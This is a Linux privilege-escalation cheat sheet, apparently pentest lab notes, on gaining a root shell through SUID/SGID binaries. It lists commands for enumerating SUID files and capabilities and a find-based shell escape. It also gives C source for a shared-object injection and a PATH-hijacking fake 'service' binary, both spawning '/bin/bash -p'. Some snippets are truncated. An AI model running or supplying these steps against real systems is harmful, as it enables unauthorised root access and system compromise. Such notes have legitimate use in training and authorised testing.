Skip to content


Find with +s

find /usr/bin -name find -exec /bin/bash -ip \;

SUID Commands

find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
getcap -r / 2>/dev/null

SUID / SGID Executables - Known Exploits

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
- try to find existing exploit for findings (put main focus on items with know version) on

SUID / SGID Executables - Shared Object Injection

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
strace <program-location> 2>&1 | grep -iE "open|access|no such file"
- Run strace on the file and search the output for open/access calls and for "no such file" errors: - If log will show that some external dependency are missing (/home/user/.config/, recreate them with own code - Check if you can overwrite something
gcc -shared -fPIC -o /home/user/.config/ /home/user/tools/suid/libcalc.c 

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        system("/bin/bash -p");

SUID / SGID Executables - Environment Variables

Run strings on the file to look for strings of printable characters

strings /usr/local/bin/suid-env
One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used. What give us possibility to overwrite this

gcc -o /tmp/hack-lib/service /home/user/tools/suid/service.c


int main() {
        system("/bin/bash -p");
add new lib localization to PATH
run to get root*